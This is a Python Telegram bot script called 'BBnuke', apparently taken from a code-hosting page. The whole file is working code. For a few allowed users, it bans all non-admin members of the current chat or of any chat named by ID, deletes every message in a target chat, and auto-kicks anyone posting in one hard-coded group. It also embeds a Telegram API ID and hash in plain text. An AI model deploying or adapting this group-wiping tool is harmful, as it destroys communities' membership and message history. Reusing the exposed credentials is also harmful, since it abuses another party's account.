File size: 3,837 Bytes
832c682
 
 
 
 
 
 
a0b1ae0
832c682
 
9f5b937
832c682
 
 
 
9b0ab22
832c682
 
 
25139e1
832c682
 
 
c5414e6
25139e1
 
 
67c7ee5
832c682
 
 
 
 
f74594f
 
8eb8ef1
 
f74594f
 
 
 
 
8eb8ef1
832c682
 
 
 
 
 
 
 
 
 
 
 
 
 
3797af6
 
 
 
 
 
 
 
59214f3
3797af6
 
 
 
 
 
f74594f
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b0ab22
 
25139e1
 
 
9b0ab22
25139e1
 
45c9f8f
25139e1
 
9b0ab22
f74594f
832c682
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import logging
import os
from telethon import TelegramClient, events
from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantCreator

api_id = "28810829"
api_hash = "d3f304bbd0b69b8c30dbec4be5824748"
bot_token = os.getenv("BOT_TOKEN2")

# Define the user ID that is allowed to send commands
allowed_user_id = [1982395401, 5575183435, 7014359344]  # Replace with the actual user ID

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

client = TelegramClient("BBnuke", api_id, api_hash).start(bot_token=bot_token)

async def ban_all_chat_members(chat_id):
    try:
        ban_count = 0
        async for member in client.iter_participants(chat_id):
            # Check if the participant is not an admin or creator
            if not isinstance(member.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)):
                await client.edit_permissions(chat_id, member, view_messages=False)
                ban_count += 1
        msg = f"{ban_count} members were removed from {chat_id}"
        for i in allowed_user_id:
            await client.send_message(i, msg)
        return True
    except Exception as e:
        logger.error(f"An error occurred: {e}")
        return False

async def purge_all_messages(chat_id):
    try:
        async for message in client.iter_messages(chat_id):
            await client.delete_messages(chat_id, [message.id])
        return True
    except Exception as e:
        logger.error(f"An error occurred: {e}")
        return False


@client.on(events.NewMessage(pattern='/snap'))
async def snap_handler(event):
    chat_id = event.chat_id
    sender_id = event.sender_id
    # Check if the sender's ID matches the allowed user ID
    if sender_id in allowed_user_id:
        logger.info("Banning Members")
        success = await ban_all_chat_members(chat_id)
        if success:
            await event.respond("All non-admin members have been banned.")
            logger.info("All non-admin members banned successfully.")
    else:
        await event.respond("You are not authorized to use this command.")

@client.on(events.NewMessage(pattern='/rsnap (\-?\d+)'))
async def snap_handler(event):
    chat_id = event.pattern_match.group(1)
    sender_id = event.sender_id
    # Check if the sender's ID matches the allowed user ID
    if sender_id in allowed_user_id:
        logger.info("Removing Members")
        await event.respond("Removing Members.")
        success = await ban_all_chat_members(int(chat_id))
        if success:
            await event.respond("All members have been removed.")
            logger.info("All members removed successfully.")
    else:
        await event.respond("You are not authorized to use this command.")

@client.on(events.NewMessage(pattern='/rpurge (\-?\d+)'))
async def purge_handler(event):
    chat_id = event.pattern_match.group(1)
    sender_id = event.sender_id
    # Check if the sender's ID matches the allowed user ID
    if sender_id in allowed_user_id:
        logger.info("Purging Messages")
        await event.respond("Purging all messages.")
        success = await purge_all_messages(int(chat_id))
        if success:
            await event.respond("All messages have been purged.")
            logger.info("All messages purged successfully.")
    else:
        await event.respond("You are not authorized to use this command.")

@client.on(events.NewMessage)
async def handle_new_message(event):
    chat_id = event.message.chat.id
    member = event.message.from_id
    if chat_id == -1001823276908:
        await event.delete()
        if member not in allowed_user_id:
            try:
                await event.client.kick_participant(chat_id, member)
            except Exception as e:
                logger.info(f"Exception: {e}")


client.run_until_disconnected()